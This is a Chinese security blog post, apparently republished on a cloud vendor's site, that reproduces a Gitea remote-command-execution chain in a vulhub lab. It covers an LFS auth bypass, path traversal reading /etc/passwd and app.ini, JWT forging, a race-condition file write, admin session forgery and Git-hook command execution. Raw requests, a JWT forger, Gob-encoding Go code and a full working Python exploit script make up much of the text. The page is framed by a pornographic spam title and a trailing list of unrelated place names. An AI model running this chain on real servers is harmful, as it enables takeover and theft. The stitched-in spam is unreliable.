中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Go代碼審計中Gitea遠程命令執行漏洞有哪些

發布時間:2021-12-30 16:29:49 來源:億速云 閱讀:179 作者:小新 欄目:網絡安全

這篇文章主要為大家展示了“Go代碼審計中Gitea遠程命令執行漏洞有哪些”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Go代碼審計中Gitea遠程命令執行漏洞有哪些”這篇文章吧。

漏洞一、邏輯錯誤導致權限繞過

這是本漏洞鏈的導火索,其出現在Git LFS的處理邏輯中。

Git LFS是Git為大文件設置的存儲容器,我們可以理解為,他將真正的文件存儲在git倉庫外,而git倉庫中只存儲了這個文件的索引(一個哈希值)。這樣,git objects和.git文件夾下其實是沒有這個文件的,這個文件儲存在git服務器上。gitea作為一個git服務器,也提供了LFS功能。

在 modules/lfs/server.go 文件中,PostHandler是POST請求的處理函數:

Go代碼審計中Gitea遠程命令執行漏洞有哪些

可見,其中間部分包含對權限的檢查:

if !authenticate(ctx, repository, rv.Authorization, true) {
    requireAuth(ctx)}

在沒有權限的情況下,僅執行了requireAuth函數:這個函數做了兩件事,一是寫入WWW-Authenticate頭,二是設置狀態碼為401。也就是說,在沒有權限的情況下,并沒有停止執行PostHandler函數。

所以,這里存在一處權限繞過漏洞。

漏洞二、目錄穿越漏洞

這個權限繞過漏洞導致的后果是,未授權的任意用戶都可以為某個項目(后面都以vulhub/repo為例)創建一個Git LFS對象。

這個LFS對象可以通過http://example.com/vulhub/repo.git/info/lfs/objects/[oid]這樣的接口來訪問,比如下載、寫入內容等。其中[oid]是LFS對象的ID,通常來說是一個哈希,但gitea中并沒有限制這個ID允許包含的字符,這也是導致第二個漏洞的根本原因。

我們利用第一個漏洞,先發送一個數據包,創建一個Oid為....../../../etc/passwd的LFS對象:

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1Host: your-ip:3000Accept-Encoding: gzip, deflateAccept: application/vnd.git-lfs+jsonAccept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 151{
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"}

其中,vulhub/repo是一個公開的項目。

也就是說,這個漏洞的利用是有條件的,第一個條件就是需要有一個公開項目。為什么呢?雖然“創建LFS對象”接口有權限繞過漏洞,但是“讀取這個對象所代表的文件”接口沒有漏洞,會先檢查你是否有權限訪問這個LFS對象所在的項目。只有公開項目才有權限讀取。

見下圖,發送數據包后,雖然返回了401狀態碼,但實際上這個LFS對象已經創建成功,且其Oid為....../../../etc/passwd。

Go代碼審計中Gitea遠程命令執行漏洞有哪些

第二步,就是訪問這個對象。訪問方法就是GET請求http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth,oid就是剛才指定的,這里要用url編碼一下。

見下圖,/etc/passwd已被成功讀取:

Go代碼審計中Gitea遠程命令執行漏洞有哪些

那么,我們來看看為什么讀取到了/etc/passwd文件。

代碼 modules/lfs/content_store.go :

Go代碼審計中Gitea遠程命令執行漏洞有哪些

可見,meta.Oid被傳入transformKey函數,這個函數里,將Oid轉換成了key[0:2]/key[2:4]/key[4:]這樣的形式,前兩個、中間兩個字符做為目錄名,第四個字符以后的內容作為文件名。

那么,我創建的Oid為....../../../etc/passwd,在經過transformKey函數后就變成了../../../../../etc/passwd,s.BasePath是LFS對象的基礎目錄,二者拼接后自然就讀取到了/etc/passwd文件。

這就是第二個漏洞:目錄穿越。

漏洞三、讀取配置文件,構造JWT密文

vulhub/repo雖然是一個公開項目,但默認只有讀權限。我們需要進一步利用。

我們利用目錄穿越漏洞,可以讀取到gitea的配置文件。這個文件在$GITEA_CUSTOM/conf/app.ini,$GITEA_CUSTOM是gitea的根目錄,默認是/var/lib/gitea/,在vulhub里是/data/gitea。

所以,要從LFS的目錄跨越到$GITEA_CUSTOM/conf/app.ini,需要構造出的Oid是....gitea/conf/app.ini(經過轉換后就變成了/data/gitea/lfs/../../gitea/conf/app.ini,也就是/data/gitea/conf/app.ini。原漏洞作者給出的POC這一塊是有坑的,這個Oid需要根據不同$GITEA_CUSTOM的設置進行調整。)

成功讀取到配置文件(仍需先發送POST包創建Oid為....gitea/conf/app.ini的LFS對象):

Go代碼審計中Gitea遠程命令執行漏洞有哪些

配置文件中有很多敏感信息,如數據庫賬號密碼、一些Token等。如果是sqlite數據庫,我們甚至能直接下載之。當然,密碼加了salt。

Gitea中,LFS的接口是使用JWT認證,其加密密鑰就是配置文件中的LFS_JWT_SECRET。所以,這里我們就可以用來構造JWT認證,進而獲取LFS完整的讀寫權限。

我們用python來生成密文:

import jwtimport timeimport base64def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
        data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c')public_user_id = 1public_repo_id = 1nbf = int(time.time())-(60*60*24*1000)exp = int(time.time())+(60*60*24*1000)token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')token = token.decode()print(token)

其中,jwt_secret是第二個漏洞中讀取到的密鑰;public_user_id是項目所有者的id,public_repo_id是項目id,這個項目指LFS所在的項目;nbf是指這個密文的開始時間,exp是這個密文的結束時間,只有當前時間處于這兩個值中時,這個密文才有效。

Go代碼審計中Gitea遠程命令執行漏洞有哪些

漏洞四、利用條件競爭,寫入任意文件

現在,我們能構造JWT的密文,即可訪問LFS中的寫入文件接口,也就是PutHandler。

PUT操作主要是如下代碼:

Go代碼審計中Gitea遠程命令執行漏洞有哪些

整個過程整理如下:

1.transformKey(meta.Oid) + .tmp 后綴作為臨時文件名

2.如果目錄不存在,則創建目錄

3.將用戶傳入的內容寫入臨時文件

4.如果文件大小和meta.Size不一致,則返回錯誤(meta.size是第一步中創建LFS時傳入的Size參數)

5.如果文件哈希和meta.Oid不一致,則返回錯誤

6.將臨時文件重命名為真正的文件名

因為我們需要寫入任意文件,所以Oid一定是能夠穿越到其他目錄的一個惡意字符串,而一個文件的哈希(sha256)卻只是一個HEX字符串。所以上面的第5步,一定會失敗導致退出,所以不可能執行到第6步。也就是說,我們只能寫入一個后綴是“.tmp”的臨時文件。

另外,作者用到了defer os.Remove(tmpPath)這個語法。在go語言中,defer代表函數返回時執行的操作,也就是說,不管函數是否返回錯誤,結束時都會刪除臨時文件。

所以,我們需要解決的是兩個問題:

1.能夠寫入一個.tmp為后綴的文件,怎么利用?

2.如何讓這個文件在利用成功之前不被刪除?

我們先思考第二個問題。漏洞發現者給出的方法是,利用條件競爭。

因為gitea中是用流式方法來讀取數據包,并將讀取到的內容寫入臨時文件,那么我們可以用流式HTTP方法,傳入我們需要寫入的文件內容,然后掛起HTTP連接。這時候,后端會一直等待我傳剩下的字符,在這個時間差內,Put函數是等待在io.Copy那個步驟的,當然也就不會刪除臨時文件了。

那么,思考第一個問題,.tmp為后綴的臨時文件,我們能做什么?

漏洞五、偽造session提升權限

最簡單的,我們可以向/etc/cron.d/中寫入一個crontab配置文件,然后反彈獲取shell。但通常gitea不會運行在root權限,所以我們需要思考其他方法。

gitea使用go-macaron/session這個第三方模塊來管理session,默認使用文件作為session存儲容器。我們來閱讀go-macaron/session源碼:

Go代碼審計中Gitea遠程命令執行漏洞有哪些

這里面有幾個很重要的點:

1.session文件名為sid[0]/sid[1]/sid

2.對象被用Gob序列化后存入文件

Gob是Go語言獨有的序列化方法。我們可以編寫一段Go語言程序,來生成一段Gob編碼的session:

package mainimport (
    "fmt"
    "encoding/gob"
    "bytes"
    "encoding/hex")func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err}func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" }
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)}

其中,{"_old_iod": "1", "uid": uid, "uname": "vulhub" }就是session中的數據,uid是管理員id,uname是管理員用戶名。編譯并執行上述代碼,得到一串hex,就是偽造的數據。

原作者給出的POC是他生成好的一段二進制文件,uid和uname不能自定義。

Go代碼審計中Gitea遠程命令執行漏洞有哪些

接著,我寫了一個簡單的Python腳本來進行后續利用(需要Python3.6):

import requestsimport jwtimport timeimport base64import loggingimport sysimport jsonfrom urllib.parse import quotelogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)BASE_URL = 'http://your-ip:3000/vulhub/repo'JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h44zOyxfqcieuAu9Y'USER_ID = 1REPO_ID = 1SESSION_ID = '11vulhub'SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')def generate_token():
    def decode_base64(data):
        missing_padding = len(data) % 4
        if missing_padding != 0:
            data += '='* (4 - missing_padding)
        return base64.urlsafe_b64decode(data)
    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)
    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'}, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"})logging.info(response.text)response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
 })

這個腳本會將偽造的SESSION數據發送,并等待300秒后才關閉連接。在這300秒中,服務器上將存在一個名為“11vulhub.tmp”的文件,這也是session id。

帶上這個session id,即可提升為管理員。

Go代碼審計中Gitea遠程命令執行漏洞有哪些

漏洞六、利用HOOK執行任意命令

帶上i_like_gitea=11vulhub.tmp這個Cookie,我們即可訪問管理員賬戶。

然后隨便找個項目,在設置中配置Git鉤子。Git鉤子是執行git命令的時候,會被自動執行的一段腳本。比如我這里用的pre-receive鉤子,就是在commit之前會執行的腳本。我在其中加入待執行的命令touch /tmp/success:

Go代碼審計中Gitea遠程命令執行漏洞有哪些

然后在網頁端新建一個文件,點提交。進入docker容器,可見命令被成功執行:

Go代碼審計中Gitea遠程命令執行漏洞有哪些

一些思考

整個漏洞鏈非常流暢,Go Web端的代碼審計也非常少見,在傳統漏洞越來越少的情況下,這些好思路將給安全研究者帶來很多不一樣的突破。

不過漏洞作者給出的POC實在是比較爛,基本離開了他自己的環境就不能用了,而且我也不建議用一鍵化的漏洞利用腳本來復現這個漏洞,原因是這個漏洞的利用涉及到一些不確定量,比如:

1.gitea的$GITEA_CUSTOM,這個值影響到讀取app.ini的那段POC

2.管理員的用戶名和ID,這個可能需要猜。但其實我們也沒必要必須偽造管理員的session,我們可以偽造任意一個用戶的session,然后進入網站后再找找看看有沒有管理員所創建的項目,如果有的話,就可以得知管理員的用戶名了。

另外,復現漏洞的時候也遇到過一些坑,比如gitea第一次安裝好,如果不重啟的話,他的session是存儲在內存里的。只有第一次重啟后,才會使用文件session,這一點需要注意。

如果目標系統使用的是sqlite做數據庫,我們可以直接下載其數據庫,并拿到他的密碼哈希和另一個隨機字符串,利用這兩個值其實能直接偽造管理員的cookie(名為gitea_incredible),這一點我就不寫了,大家可以自己查看文檔。

以上是“Go代碼審計中Gitea遠程命令執行漏洞有哪些”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

汕尾市| 中江县| 沙坪坝区| 伊宁市| 大荔县| 平江县| 北宁市| 青海省| 泰和县| 云阳县| 元朗区| 东丽区| 乐清市| 社旗县| 会同县| 洞口县| 祁东县| 当涂县| 仁化县| 宜城市| 栖霞市| 商水县| 瑞金市| 五寨县| 体育| 宣威市| 湘潭县| 沾化县| 鄂伦春自治旗| 磐安县| 石棉县| 宜阳县| 山东| 泰安市| 皮山县| 怀化市| 密云县| 惠来县| 天水市| 自贡市| 西城区|